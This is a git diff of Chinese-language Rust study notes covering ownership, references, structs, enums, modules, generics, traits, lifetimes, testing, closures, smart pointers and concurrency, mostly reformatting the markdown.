+213,7 @@ fn main() { ``` ### 循环 + 1. loop 2. while 3. for @@ -264,7 +290,9 @@ fn fun_for() { ``` ## 三 函数 + - 函数是由一系列以表达式(Expression)结尾的声明(Statement)组成. + - 声明是执行某种动作的指令,不返回值。 - 表达式最后返回一个值。 @@ -294,25 +322,32 @@ fn main() -> (){ ``` ## 四 所有权&引用 + ### 概述 + - 堆数据引发了内存管理需求。 - - 如果我们需要储存的数据长度不确定(比如用户输入的一串字符串),我们就无法在定义时明确数据长度,也就无法在编译阶段让程序分配固定长度的内存空间供数据储存使用。因此编程语言会提供一种在程序运行时程序自己申请使用内存的机制,堆。 + + - 如果我们需要储存的数据长度不确定(比如用户输入的一串字符串),我们就无法在定义时明确数据长度,也就无法在编译阶段让程序分配固定长度的内存空间供数据储存使用。因此编程语言会提供一种在程序运行时程序自己申请使用内存的机制,堆。 - 其它计算机语言的内存管理。 - - 在C语言机制中,可以调用``free(变量名)``,来释放内存。 - - 在java语言机制中,通过运行时垃圾回收机制释放,对性能产生一定的影响。 + + - 在C语言机制中,可以调用`free(变量名)`,来释放内存。 + - 在java语言机制中,通过运行时垃圾回收机制释放,对性能产生一定的影响。 - Rust内存管理。 - - Rust所有权机制制定了一系列规范来进行内存管理。(所有权&引用) - - **在编译阶段,编译器将会检查代码是否符合所有权机制规范。** - - **在编译阶段,编译器检查到变量作用域结束时,将自动添加调用释放资源函数的步骤。** + + - Rust所有权机制制定了一系列规范来进行内存管理。(所有权&引用) + - **在编译阶段,编译器将会检查代码是否符合所有权机制规范。** + - **在编译阶段,编译器检查到变量作用域结束时,将自动添加调用释放资源函数的步骤。** - 基于以下三条规则形成Rust所有权机制。 - - 每个值都有一个变量,称为其所有者。 - - 一次只能有一个所有者。 - - 当所有者不在作用域内时,该值将被删除。 + + - 每个值都有一个变量,称为其所有者。 + - 一次只能有一个所有者。 + - 当所有者不在作用域内时,该值将被删除。 ### 变量作用域 + ```rust { // 在声明以前,变量 var_name 无效 @@ -323,45 +358,49 @@ fn main() -> (){ ``` ### 所有权转移 move + - 当堆变量被直接使用时,所有权都会发生转移。 - 堆数据所有者转移机制,**可以避免垂悬指针问题**。 1. 堆变量间的相互赋值,堆数据的所有权发生了转移(move),堆变量变为无效。 - ```rust - // 基本数据类型都存储在栈中,变量值被复制给var_name2,不会导致数据所有权的移动。 - let var_name1 = 5; - let var_name2 = var_name1; - // 非基本数据类型的数据,存储在堆中。var_stack_name2指向var_stack_name1的数据值,var_stack_name1被释放。 - let var_stack_name1 = String::from("hello"); - let var_stack_name2 = var_stack_name1; // var_stack_name1 将被内存释放 - println!("{}, world!", var_stack_name1); // 错误!var_stack_name1 已经失效 - ``` + ```rust + // 基本数据类型都存储在栈中,变量值被复制给var_name2,不会导致数据所有权的移动。 + let var_name1 = 5; + let var_name2 = var_name1; + + // 非基本数据类型的数据,存储在堆中。var_stack_name2指向var_stack_name1的数据值,var_stack_name1被释放。 + let var_stack_name1 = String::from("hello"); + let var_stack_name2 = var_stack_name1; // var_stack_name1 将被内存释放 + println!("{}, world!", var_stack_name1); // 错误!var_stack_name1 已经失效 + ``` 2. 函数传递的输入参数/输出参数存储在堆里时,堆数据的所有权发生了转移(move),堆变量变为无效。 - ```rust - fn main() { - let var_stack_name1 = String::from("hello"); - // var_stack_name1 是非基本数据类型,存储在堆里,作为参数传入函数时,堆数据所有权发生了移动, var_stack_name1 变量变为无效。。 - func_name1(var_stack_name1); - - // var_name1 是基本数据类型,存储在栈里,作为参数传入函数时,var_name1 数据被复制了一份传入, var_name1 变量依然有效。 - let var_name1 = 5; - func_name2(var_name1); - } - fn func_name1(some_string: String) { - // 一个 String 参数 some_string 传入,变量有效 - println!("{}", some_string); - } // 函数结束, some_string 在这里被释放 + ```rust + fn main() { + let var_stack_name1 = String::from("hello"); + // var_stack_name1 是非基本数据类型,存储在堆里,作为参数传入函数时,堆数据所有权发生了移动, var_stack_name1 变量变为无效。。 + func_name1(var_stack_name1); - fn func_name2(some_integer: i32) -> i32 { - // 一个 i32 参数 some_integer 传入,变量有效 - println!("{}", some_integer); - } // 函数结束, some_string 在这里被释放 - ``` + // var_name1 是基本数据类型,存储在栈里,作为参数传入函数时,var_name1 数据被复制了一份传入, var_name1 变量依然有效。 + let var_name1 = 5; + func_name2(var_name1); + } + + fn func_name1(some_string: String) { + // 一个 String 参数 some_string 传入,变量有效 + println!("{}", some_string); + } // 函数结束, some_string 在这里被释放 + + fn func_name2(some_integer: i32) -> i32 { + // 一个 i32 参数 some_integer 传入,变量有效 + println!("{}", some_integer); + } // 函数结束, some_string 在这里被释放 + ``` ### 堆数据的克隆 + ```rust // 通过数据克隆,堆数据所有权不会被变更。 let var_stack_name1 = String::from("hello"); @@ -372,26 +411,34 @@ println!("var_stack_name1 = {}, s2 = {}", var_stack_name1, var_stack_name2); ``` ### 堆数据的引用 + - 引用符号:& + - 如果A引用了B,则A的地址会指向B的地址。 + - 引用、借用、租借 是相同的概念。 + - 引用的所有权 - - 引用不会获取值的所有权。 - - 引用只是租借值的所有权。 + + - 引用不会获取值的所有权。 + - 引用只是租借值的所有权。 - 引用注意点 - - 引用指向的地址背后的堆数据禁止为空。(**避免空指针问题**) - - 引用必须在变量的生命周期内。(**避免垂悬指针问题**)(之后的章节会讲解变量的生命周期) + + - 引用指向的地址背后的堆数据禁止为空。(**避免空指针问题**) + - 引用必须在变量的生命周期内。(**避免垂悬指针问题**)(之后的章节会讲解变量的生命周期) - 可变引用注意点 - - 可变引用不允许多重引用。意味着当可变引用未被释放时,所有者不能更改值或者对值进行其它操作。 - - 当变量的引用不再被后面的操作使用时,可以进行可变饮用。 + + - 可变引用不允许多重引用。意味着当可变引用未被释放时,所有者不能更改值或者对值进行其它操作。 + - 当变量的引用不再被后面的操作使用时,可以进行可变饮用。 - 通过禁止可变引用的多重引用,解决了数据竞争问题。 - - 以下三种行为会发生数据竞争 - - 两个或多个指针在同一时间访问相同的数据。 - - 至少有一个指针用于写入数据。 - - 没有用于同步数据访问的机制。 + + - 以下三种行为会发生数据竞争 + - 两个或多个指针在同一时间访问相同的数据。 + - 至少有一个指针用于写入数据。 + - 没有用于同步数据访问的机制。 ```rs fn func_immutable_reference(){ @@ -402,6 +449,7 @@ fn func_immutable_reference(){ let var_stack_name2 = &var_stack_name3; // var_stack_name2 租借 var_stack_name3 的所有权 } ``` + ```rs fn func_mutable_reference(){ let mut var_stack_name1 = String::from("AA-"); @@ -415,7 +463,9 @@ fn func_mutable_reference(){ println!("var_stack_name3 is {}", var_stack_name3); } ``` + ### 切片 + - 切片(Slice)是对集合中的连续元素序列的部分引用。 - 切片是一种不可变引用,不拥有所有权。 - 字符串切片 = 字符串字面量 = &str @@ -451,9 +501,10 @@ fn main() { ## 五 结构体 ### 结构体 + 1. 定义结构体关键字 struct 2. 元组结构体 tuple structs -3. 单元结构体 unit-like structs +3. 单元结构体 unit-like structs ```rust // 结构体 @@ -498,6 +549,7 @@ fn func_uint_strcut() { let subject = AlwaysEqual; // 实例化单元结构体 } ``` + ### impl块/函数/方法 - 关键字 impl 定义一个块,在 impl 块内, self 代表调用者, Self 代表调用者的类型。 @@ -509,6 +561,7 @@ fn func_uint_strcut() { - 每个结构体可以有多个impl块。 ### 结构体方法 + ```rust struct Rectangle { width: u32, @@ -536,6 +589,7 @@ fn main() { ``` ### 结构体关联函数 + ```rust #[derive(Debug)] struct Rectangle { @@ -560,12 +614,16 @@ fn main() { ``` ## 六 枚举 + - 枚举 - - 可以列出所有可能的变量。枚举值只能是枚举类型中的一个变量。 - - 可以在枚举变量内部放置任何类型的数据。 + + - 可以列出所有可能的变量。枚举值只能是枚举类型中的一个变量。 + - 可以在枚举变量内部放置任何类型的数据。 - 在Rust世界里,Null 和 异常 都使用特殊的枚举类来处理。 + ### 枚举的定义 enum + ```rs // 当定义一条信息,内容可能是退出、移动、写入、改变颜色。 // 通过4个结构体来定义。看起来很凌乱,也不好实现共同的方法。 @@ -600,6 +658,7 @@ fn main() { ``` ### 枚举与match + ```rs // 定义一个枚举类型 enum Book { @@ -621,6 +680,7 @@ fn main() { } } ``` + ```rs fn main() { let dice_roll = 9; @@ -635,6 +695,7 @@ fn remove_fancy_hat() {} ``` ### None枚举 Option + - null是指由于某种原因当前无效或不存在的值。 - Option 是 Rust 标准库中的枚举类,这个枚举类用于填补 Rust 不支持 null 引用的空白,并且以一种安全的方式实现了被包装的null。 - Option 要么是一个Some中包含一个值,要么是一个None;对应Option::Some(value)和Option::None。 @@ -679,62 +740,74 @@ fn main() { ``` ## 七 组织管理 + ### 包 package -- 当使用 `` cargo new ${project_name} `` 创建 Rust 工程时,工程目录下会建立一个 Cargo.toml 文件。 + +- 当使用 `cargo new ${project_name}` 创建 Rust 工程时,工程目录下会建立一个 Cargo.toml 文件。 - 工程的实质就是一个包,包必须由一个 Cargo.toml 文件来管理,该文件描述了包的基本信息以及依赖项。 ### 宝箱 crate + - crate 是二进制程序文件(a library crate)或者库文件( a binary crate),存在于 package 中。 - crate root 是一个源文件,是 crate 的根, Rust 编译器以它为起始点,去寻找需要被编译的文件。每次编译时,编译器会去寻找二进制根和库根。 - - 二进制根 - - src/main.rs 是一个 binary crate 的根;入口点 src/main.rs::main。 - - 通过将文件放在 src/bin 目录下,一个包可以拥有多个二进制 crate,每个 src/bin 下的文件都可以被编译成一个独立的二进制 crate。 - - 库根 - - src/lib.rs 是一个 library crate 的根。 + + - 二进制根 + - src/main.rs 是一个 binary crate 的根;入口点 src/main.rs::main。 + - 通过将文件放在 src/bin 目录下,一个包可以拥有多个二进制 crate,每个 src/bin 下的文件都可以被编译成一个独立的二进制 crate。 + - 库根 + - src/lib.rs 是一个 library crate 的根。 - package 可以包含多个 crate - - 可以包含任意多个 binary crate。 - - 至多只能包含一个 library crate。 - - 至少包含一个 crate。 + + - 可以包含任意多个 binary crate。 + - 至多只能包含一个 library crate。 + - 至少包含一个 crate。 - 曾经需要使用 extern crate ${库名字} 来将外部库加载进作用域内,自从Rust 2018后,只需要向Cargo.toml添加外部依赖项,就会将外部库加载进整个crate作用域内。 - ```rs - // 1.3 版本之前的语法 - #[macro_use] // 将 lib_name 宝箱内所有的宏作用域扩展到上一级 - extern crate lib_name; - // 上面的代码放在根文件里,则表示将 lib_name 宝箱内所有的宏作用于全局,lib_name的宏可以直接在任何地方进行使用 - ``` + + ```rs + // 1.3 版本之前的语法 + #[macro_use] // 将 lib_name 宝箱内所有的宏作用域扩展到上一级 + extern crate lib_name; + // 上面的代码放在根文件里,则表示将 lib_name 宝箱内所有的宏作用于全局,lib_name的宏可以直接在任何地方进行使用 + ``` ### 模块 module + - 通过模块化可以进行作用域和私有变量的控制,工程组织结构的布局。 1. 权限 - - 对于 模块、函数、结构体、结构体属性、变量,不加 pub 修饰符,则默认是私有的。 - - 对于 枚举,只有在枚举类型前面添加 pub 修饰符,枚举变量即为公开的。 - - 对于私有的,只有在与其平级的路径或下级路径才能访问,不能从其外部访问。 + + - 对于 模块、函数、结构体、结构体属性、变量,不加 pub 修饰符,则默认是私有的。 + - 对于 枚举,只有在枚举类型前面添加 pub 修饰符,枚举变量即为公开的。 + - 对于私有的,只有在与其平级的路径或下级路径才能访问,不能从其外部访问。 2. 模块的声明 - 1. 使用 `` mod 模块名{} `` 来声明一个私有模块, 使用 ``pub mod 模块名{} `` 来声明一个公有模块。 - 2. 一个文件,本身就代表声明了一个模块,文件名为模块名,类似于``pub mod 文件名{} ``。 - 3. 一个文件夹,需要在文件夹内创建 mod.rs 文件来表示声明为一个模块,类似于``pub mod 文件加名{} ``。对于文件夹内的子模块,需要在 mod.rs 内添加 `` pub mod 模块名; ``来对外暴露。 + + 1. 使用 `mod 模块名{}` 来声明一个私有模块, 使用 `pub mod 模块名{} ` 来声明一个公有模块。 + 2. 一个文件,本身就代表声明了一个模块,文件名为模块名,类似于`pub mod 文件名{} `。 + 3. 一个文件夹,需要在文件夹内创建 mod.rs 文件来表示声明为一个模块,类似于`pub mod 文件加名{} `。对于文件夹内的子模块,需要在 mod.rs 内添加 `pub mod 模块名;`来对外暴露。 3. 模块内函数的暴露 - - `` pub 函数名{}; `` 对外暴露 - - `` pub(crate) 函数名{}; `` 只对宝箱内的模块暴露 - - `` pub(super) 函数名{}; `` 只对父级模块暴露 -4. 模块的引入 - 1. 对于第三方的宝箱里的模块,可以通过在Cargo.toml配置文件内添加第三方宝箱作为依赖,让编译器识别并且进行编译。 - 2. 对于工程里面的模块,需要在在crate的根文件内进行配置,引入模块,让编译器识别,配置方式如下: - - `` mod 模块名; `` - - `` crate::模块名::模块名; `` - - `` super::模块名::模块名 `` + - `pub 函数名{};` 对外暴露 + - `pub(crate) 函数名{};` 只对宝箱内的模块暴露 + - `pub(super) 函数名{};` 只对父级模块暴露 + +4. 模块的引入 + + 1. 对于第三方的宝箱里的模块,可以通过在Cargo.toml配置文件内添加第三方宝箱作为依赖,让编译器识别并且进行编译。 + 2. 对于工程里面的模块,需要在在crate的根文件内进行配置,引入模块,让编译器识别,配置方式如下: + - `mod 模块名;` + - `crate::模块名::模块名;` + - `super::模块名::模块名` 5. 模块的调用 - - 方式一 `` 模块名::子模块名::方法名() ``。 - - 方式二 使用 use 关键字将某个模块的子模块导入到当前的模块作用域内,再进行调用 `` use 模块名::子模块名; 子模块名::方法名() ``。 - - 方式三 使用 use 关键字将某个模块下的函数都导入到当前的模块作用域内,再直接通过函数名进行调用 `` use 模块名::子模块名::*; 方法名() ``。 + + - 方式一 `模块名::子模块名::方法名()`。 + - 方式二 使用 use 关键字将某个模块的子模块导入到当前的模块作用域内,再进行调用 `use 模块名::子模块名; 子模块名::方法名()`。 + - 方式三 使用 use 关键字将某个模块下的函数都导入到当前的模块作用域内,再直接通过函数名进行调用 `use 模块名::子模块名::*; 方法名()`。 - 内置的标准模块(标准库) https://doc.rust-lang.org/stable/std/all.html @@ -744,6 +817,7 @@ pub fn message() -> String { String::from("执行发送信息的功能") } ``` + ```rust mod phone_module; // 导入模块 @@ -781,9 +855,11 @@ fn main() { ``` ## 八 集合 + - Rust语言内置的数据结构被称之为集合(Collection),数据被存储在堆中。 ### 向量 + - 向量(Vector)是一个可以动态存放多个值的数据结构,该结构将相同类型的值线性的存放在内存中。 - 向量的数据逻辑结构是数组,元素在内存中是相邻的。具有访问快,插入慢的特点。 - 在 Rust 中的表示是 Vec。 代表范型,在之后的章节中会讲解到。 @@ -827,6 +903,7 @@ fn main() { ``` ### 字符串 + - 字符串(String) 是 UTF-8 编码的。 - 在Rust机制里,字符串是一种更为复杂的数据结构,是对Vec数据类型的包装。 @@ -876,8 +953,10 @@ fn main(){ ``` ### 映射表 + - HashMap 映射表 哈希表 - HashMap实例的key或value必须是相同类型的。 + ```rust use std::collections::HashMap; @@ -911,8 +990,11 @@ fn main() { println!("{:?}", map); } ``` + ## 九 错误处理 + ### 可恢复错误 + ```toml [profile.release] panic = 'abort' # 设置程序panic时直接终止程序,不进行回退和清理操作。 # 默认是panic时进行回退清理操作。 @@ -931,7 +1013,8 @@ RUST_BACKTRACE=1 cargo run ``` ### 可恢复错误处理 枚举Result -- 在 Rust 中通过 Result 枚举类作返回值来进行异常处理。 + +- 在 Rust 中通过 Result\ 枚举类作返回值来进行异常处理。 - 在 Rust 标准库中可能产生异常的函数的返回值都是 Result 枚举类型的,最常见的使用是在IO操作中。 ```rs @@ -1020,8 +1103,8 @@ fn main() { } ``` -- 当数据返回类型是 `Result` 或 `Option` 时可以在表达式尾部使用`?`来返回Err<> 或 None。 - +- 当数据返回类型是 `Result` 或 `Option` 时可以在表达式尾部使用`?`来返回Err\<> 或 None。 + ```rs fn last_char_of_first_line(text: &str) -> Option { text.lines().next()?.chars().last() @@ -1044,62 +1127,70 @@ fn main() -> Result<(), Box> { ``` ## 十 泛型 + - 泛型机制是编程语言用于表达类型抽象的机制,一般用于功能确定、数据类型待定的类,如链表、映射表等。 -- Rust泛型可以用来定义函数、结构、枚举和方法。 关键符合<>。 + +- Rust泛型可以用来定义函数、结构、枚举和方法。 关键符合\<>。 + - Rust泛型不会影响性能,在编译阶段,编译器会根据上下文将泛型转成特定类型的代码。 - 范型函数 - ```rust - // 函数范型 - fn func_return_first(array: &[T]) -> &T { - return &array[0]; - } - fn main() { - let array = [1.1, 2.2, 3.3, 4.4]; - println!("array[0] = {}", func_return_first(&array)); - } - ``` + + ```rust + // 函数范型 + fn func_return_first(array: &[T]) -> &T { + return &array[0]; + } + fn main() { + let array = [1.1, 2.2, 3.3, 4.4]; + println!("array[0] = {}", func_return_first(&array)); + } + ``` - 枚举范型 - ```rust - // 枚举范型 - enum Option { - Some(T), - None, - } - enum Result { - Ok(T), - Err(E), - } - ``` + + ```rust + // 枚举范型 + enum Option { + Some(T), + None, + } + enum Result { + Ok(T), + Err(E), + } + ``` - 结构体范型 - ```rust - // 结构体范型 - struct Point { - x: T, - y: T - } - // 结构体方法范型 - impl Point { - fn func_return_x(&self) -> &T { - &self.x - } - } - fn main() { - let p = Point { x: 1, y: 2 }; - println!("p.x = {}", p.x()); - } - ``` + + ```rust + // 结构体范型 + struct Point { + x: T, + y: T + } + // 结构体方法范型 + impl Point { + fn func_return_x(&self) -> &T { + &self.x + } + } + fn main() { + let p = Point { x: 1, y: 2 }; + println!("p.x = {}", p.x()); + } + ``` ## 十一 特征 + - 特征(trait)是一系列接口和方法的集合,任何一个类型都可以去实现一个特征。 - 特征(trait)概念接近于 Java 中的接口(Interface),但两者不完全相同。 + - 特征与接口相同的地方在于它们都是一种行为规范,可以用于标识哪些类/结构体有哪些方法。 - 特征里既可以定义接口(没有方法体的方法),也可以定义方法。 -- 可以定义特征实现了另一个特征。模版: `` trait 特征名称: 另一个特征名称 `` +- 可以定义特征实现了另一个特征。模版: `trait 特征名称: 另一个特征名称` - 注意: 特征和结构体,必须有其中一个是本地代码定义的。否则两个宝箱可以为同一个类型实现同一个特征,编译器将不知道哪个实现需要被使用到。 @@ -1159,11 +1250,13 @@ pub fn main() { ``` ## 十二 范型&特征&结构体 + - 可以定义函数传入的范型数据类型必须实现了指定的特征。 - 可以定义函数返回的数据类型可以是任意的但是必须实现了指定的特征。 - 定义结构体方法时,可以定义结构体必须实现了指定的特征 ### 范型&特征 + ```rs // 范型&特征 @@ -1214,6 +1307,7 @@ fn main() { ``` ### 范型&特征&结构体 + ```rs // 范型&特征&结构体 use std::fmt::Display; @@ -1247,6 +1341,7 @@ pub fn main() { ``` ### where 关键字 + ```rs // 复杂的数据类型和特征的绑定关系可以使用 where 关键字简化 // 例如:T数据类型必须实现了Display和Clone特征,U数据类型必须实现了Clone和Debug特征 @@ -1257,29 +1352,34 @@ fn some_function(t: T, u: U) -> i32 U: Clone + Debug ``` - ## 十三 生命周期 + 1. 程序中每个变量都有一个固定的作用域,当超出变量的作用域以后,变量就会被销毁。 + 2. 生命周期就是引用类型变量的有效作用域。 + 3. 在大多数时候,我们无需手动的声明生命周期,因为编译器可以自动进行推导。当多种类型存在时或多个生命周期存在时,编译器往往要求用户手动标明生命周期。 4. 生命周期注释用单引号开头,跟着一个小写字母单词: - - &i32 // 常规引用 - - &'a i32 // 含有生命周期注释的引用 - - &'a mut i32 // 可变型含有生命周期注释的引用 - - &'static str // 表示静态生命周期,则该引用的存活时间和该运行程序一样长。 + + - &i32 // 常规引用 + - &'a i32 // 含有生命周期注释的引用 + - &'a mut i32 // 可变型含有生命周期注释的引用 + - &'static str // 表示静态生命周期,则该引用的存活时间和该运行程序一样长。 - **声明周期可以避免垂悬指针问题** ### 1 函数中的生命周期 + - 函数中的生命周期 - 1. rust 中的借用是指对一块内存空间的引用。rust 有一条借用规则是借用方的生命周期不能比出借方的生命周期还要长。 - 2. 对于一个参数和返回值都包含引用的函数而言,该函数的参数是出借方,函数返回值所绑定到的那个变量就是借用方。 - 3. 生命周期注释是描述引用生命周期的办法。对函数的参数和返回值都进行生命周期注释,是告知编译器借用方和出借方的生命周期一样。 + + 1. rust 中的借用是指对一块内存空间的引用。rust 有一条借用规则是借用方的生命周期不能比出借方的生命周期还要长。 + 2. 对于一个参数和返回值都包含引用的函数而言,该函数的参数是出借方,函数返回值所绑定到的那个变量就是借用方。 + 3. 生命周期注释是描述引用生命周期的办法。对函数的参数和返回值都进行生命周期注释,是告知编译器借用方和出借方的生命周期一样。 - 生命周期语法用来将函数的多个引用参数和返回值的作用域关联到一起,一旦关联到一起后,Rust 就拥有充分的信息来确保用户的操作是内存安全的。即确保当输入参数的值所有权发生改变后,函数返回的引用变量不能在被使用,避免避免垂悬指针问题。 -````rust +```rust // fun_longer函数在在编译期间将报错,因为返回值引用可能会返回过期的引用,rust机制不允许任何可能的意外发生 // fn fun_longer(var_str_1: &str, var_str_2: &str) -> &str { // 返回更长的字符串切片 // if var_str_2.len() > var_str_1.len() { @@ -1309,9 +1409,10 @@ fn main() { } println!("{} is longer", result); } -```` +``` ### 2 结构体中的生命周期 + ```rs // 该生命周期标注说明结构体 ImportantExcerpt 所引用的字符串 str 必须比该结构体活得更久。 struct ImportantExcerpt<'a> { @@ -1329,12 +1430,14 @@ fn main() { ``` ### 3 自动标注生命周期规则 + - 编译器使用三条消除规则来确定哪些场景不需要显式地去标注生命周期 - 1. 每一个引用参数都会获得独自的生命周期。 - 2. 若只有一个输入生命周期(函数参数中只有一个引用类型),那么该生命周期会被赋给所有的输出生命周期。 - 3. 若存在多个输入生命周期,且其中一个是 &self 或 &mut self,则 &self 的生命周期被赋给所有的输出生命周期。 + 1. 每一个引用参数都会获得独自的生命周期。 + 2. 若只有一个输入生命周期(函数参数中只有一个引用类型),那么该生命周期会被赋给所有的输出生命周期。 + 3. 若存在多个输入生命周期,且其中一个是 &self 或 &mut self,则 &self 的生命周期被赋给所有的输出生命周期。 ### 4 方法的生命周期 + ```rs struct ImportantExcerpt<'a> { part: &'a str, @@ -1370,6 +1473,7 @@ impl<'a> ImportantExcerpt<'a> { ``` ### 5 静态生命周期 + ```rust // 符串字面面具有 'static 生命周期 fn fn_main(){ @@ -1380,6 +1484,7 @@ fn fn_main(){ ``` ### 6 泛型/特征/生命周期 + ```rust // 同时使用了泛型、特征、生命周期机制 // T 范型 @@ -1415,16 +1520,16 @@ fn main() { ``` ## 十四 自动化测试 + - 每一个测试函数都会运行在一个新的线程上。 - 断言 - 1. assert! 判断布尔值 - 2. assert_eq! 判断数字是否等于 - 3. assert_ne! 判断数字是否不等于 + 1. assert! 判断布尔值 + 2. assert_eq! 判断数字是否等于 + 3. assert_ne! 判断数字是否不等于 - 测试函数的三个位置 - 1. 单元测试 unit tests,可以写在宝箱内的任何文件里。单元测试函数所在的文件也必须通过``mod``被根文件引入,否则编译器将不会发现这些测试函数。 - 2. 集成测试 integration test,默认在src/tests文件夹下。集成测试是从库宝箱外部,对一些列功能进行测试。 - 3. doc tests. - + 1. 单元测试 unit tests,可以写在宝箱内的任何文件里。单元测试函数所在的文件也必须通过`mod`被根文件引入,否则编译器将不会发现这些测试函数。 + 2. 集成测试 integration test,默认在src/tests文件夹下。集成测试是从库宝箱外部,对一些列功能进行测试。 + 3. doc tests. ```bash # cargo test指令 @@ -1482,15 +1587,18 @@ mod tests { } ``` + ## 十五 闭包&迭代 + ### 闭包 + - 定义: 闭包(Closure)是一种匿名函数,它可以赋值给变量也可以作为参数传递给其它函数,不同于函数的是,它允许捕获调用者作用域中的值。 - 闭包函数的作用 - 1. 使用函数作为参数进行传递 - 2. 使用函数作为函数返回值 - 3. 将函数赋值给变量 + 1. 使用函数作为参数进行传递 + 2. 使用函数作为函数返回值 + 3. 将函数赋值给变量 ```rs // 闭包的声明 @@ -1553,15 +1661,18 @@ struct Cacher ``` ### 迭代 + - 迭代(Iterator)负责遍历序列中的每一项和决定序列何时结束的逻辑。 + - Rust迭代器通过闭包函数实现了赖加载,是零成本抽象(zero-cost abstractions)之一,它意味着抽象并不会引入运行时开销。 - 标准库里Iterator特征实现的关联方法 - - iter() - - into_iter() - - filter() - - skip() - - map() + + - iter() + - into_iter() + - filter() + - skip() + - map() ```rs // 所有的具有迭代功能的类型都实现了这个特征 @@ -1663,9 +1774,11 @@ mod tests { ``` ## Rust不同于其它语言 + - rust编程语言里 不支持 ++ 和 -- 的数学运算符号。 - rust编程语言里 没有 for 的三元语句控制循环,例如 for (i = 0; i < 10; i++) -- () 是一种特殊的类型,值只有一个就是() - - https://doc.rust-lang.org/std/primitive.unit.html \ No newline at end of file +- () 是一种特殊的类型,值只有一个就是() + + - https://doc.rust-lang.org/std/primitive.unit.html diff --git a/language/rust/grammar_2.md b/language/rust/grammar_2.md index 810002a..bbfc916 100644 --- a/language/rust/grammar_2.md +++ b/language/rust/grammar_2.md @@ -1,23 +1,32 @@ +--- +created_date: 2022-07-05 +--- + [TOC] ## 一 智能指针 + - 指针(pointer)是一个包含内存地址的变量的通用概念。Rust中的引用就是一种指针,它只能指向一个数据,没有特别的功能。 + - 智能指针(smart pointer)是一种数据结构,它不仅可以指向一个数据并且可以拥有这个数据的所有权,还拥有元数据和功能。 - String 和 Vec 就属于智能指针。 - 智能指针通常使用结构体来实现。智能指针区别于常规结构体的显著特征在于其实现了 Deref 和 Drop 特征。 - - Deref 特征允许一个数据类型被当作引用对待。 - - Drop 特征可以让当变量离开作用域时,它所指向的堆数据也会被清除。 + + - Deref 特征允许一个数据类型被当作引用对待。 + - Drop 特征可以让当变量离开作用域时,它所指向的堆数据也会被清除。 ### Box 最简单的智能指针 + - 最简单直接的智能指针是 box,其类型是 Box。 Box 允许你将一个值分配到堆上,然后在栈上保留一个智能指针指向堆上的数据。 - 可以在以下场景中使用它 - 1. 特意的将数据分配在堆上 - 2. 数据较大时,又不想在转移所有权时进行数据拷贝 - 3. 类型的大小在编译期无法确定,但是我们又需要固定大小的类型时 - 4. 特征对象,用于说明对象实现了一个特征,而不是某个特定的类型 + + 1. 特意的将数据分配在堆上 + 2. 数据较大时,又不想在转移所有权时进行数据拷贝 + 3. 类型的大小在编译期无法确定,但是我们又需要固定大小的类型时 + 4. 特征对象,用于说明对象实现了一个特征,而不是某个特定的类型 ```rs fn main() { @@ -53,10 +62,11 @@ fn main() { ``` ### Deref 特征 + - Deref 实现的3种转换 - 1. 当 T: Deref,可以将 &T 转换成 &U - 2. 当 T: DerefMut,可以将 &mut T 转换成 &mut U - 3. 当 T: Deref,可以将 &mut T 转换成 &U + 1. 当 T: Deref\,可以将 &T 转换成 &U + 2. 当 T: DerefMut\,可以将 &mut T 转换成 &mut U + 3. 当 T: Deref\,可以将 &mut T 转换成 &U ```rs // 自定义一个智能指针 @@ -103,7 +113,9 @@ fn main() { ``` ### Drop 特征 + - 互斥的 Copy 和 Drop ,我们无法为一个类型同时实现 Copy 和 Drop 特征。因为实现了 Copy 的特征会被编译器隐式的复制。 + ```rs struct CustomSmartPointer { data: String, @@ -129,6 +141,7 @@ fn main() { ``` ### Rc 引用计数智能指针 + - Rc 通过引用计数的方式,允许一个数据资源在同一时刻拥有多个所有者。 - Rc 只能被使用于单线程场景上。 - Rc 是指向底层数据的不可变的引用,因此你无法通过它来修改数据,这也符合 Rust 的借用规则:要么存在多个不可变借用,要么只能存在一个可变借用。 @@ -145,6 +158,7 @@ fn main() { ``` ### RefCell 内部可变引用计数 (Todo 未悟透,还需要学习) + - RefCell 通过将安全检查放置运行时,提供了一个可以用于当需要不可变类型但是需要改变其内部值能力的类型。但依然需要在运行时遵守所有权借用规则,否则会导致panic。 - RefCell 只能被使用于单线程场景上。 @@ -161,26 +175,31 @@ fn main() { ### 引用循环与内存泄漏 (Todo 未悟透,还需要学习) - ## 二 并发编程 + - 序 - - 随着时间的推移,团队发现所有权和类型系统是一系列解决内存安全 和 并发问题的强有力的工具! - - 通过利用所有权和类型检查,在 Rust 中很多并发错误都是 编译时 错误,而非运行时错误。 + + - 随着时间的推移,团队发现所有权和类型系统是一系列解决内存安全 和 并发问题的强有力的工具! + - 通过利用所有权和类型检查,在 Rust 中很多并发错误都是 编译时 错误,而非运行时错误。 - 线程 - - 主线程的结束,子线程也随之结束。 - - spawn 关联函数可以产生一个新的子线程。 - - join 关联函数可以阻塞主线程,知道子线程运行结束。 + + - 主线程的结束,子线程也随之结束。 + - spawn 关联函数可以产生一个新的子线程。 + - join 关联函数可以阻塞主线程,知道子线程运行结束。 - 通讯 - - 线程间的通讯和Go一样遵循着同样的原则 “Do not communicate by sharing memory; instead, share memory by communicating.” - - 通道(channel)是实现线程间消息传递的主要工具。 - - 通道有两部分组成,一个发送者(transmitter)和一个接收者(receiver)。 - - 可以有多个发送者(transmitter)。 - - 共享状态 - - 互斥锁 Mutex 互斥锁并没有实现Send特征,因此不能被发送到另一个线程。 - - 多线程安全的引用计数智能指针 Arc + + - 线程间的通讯和Go一样遵循着同样的原则 “Do not communicate by sharing memory; instead, share memory by communicating.” + - 通道(channel)是实现线程间消息传递的主要工具。 + - 通道有两部分组成,一个发送者(transmitter)和一个接收者(receiver)。 + - 可以有多个发送者(transmitter)。 + - 共享状态 + - 互斥锁 Mutex 互斥锁并没有实现Send特征,因此不能被发送到另一个线程。 + - 多线程安全的引用计数智能指针 Arc + ### 线程 + ```rust // 线程 use std::thread; @@ -225,6 +244,7 @@ fn main() { ``` ### 通道 + ```rust use std::thread; use std::sync::mpsc; @@ -247,24 +267,29 @@ fn main() { } ``` - ### 共享内存 + - 共享内存可以说是同步的灵魂,因为消息传递的底层实际上也是通过共享内存来实现,两者的区别如下 - 1. 共享内存相对消息传递能节省多次内存拷贝的成本。 - 2. 共享内存的实现简洁的多。 - 3. 共享内存的锁竞争更多。 + + 1. 共享内存相对消息传递能节省多次内存拷贝的成本。 + 2. 共享内存的实现简洁的多。 + 3. 共享内存的锁竞争更多。 - 所有权 - - 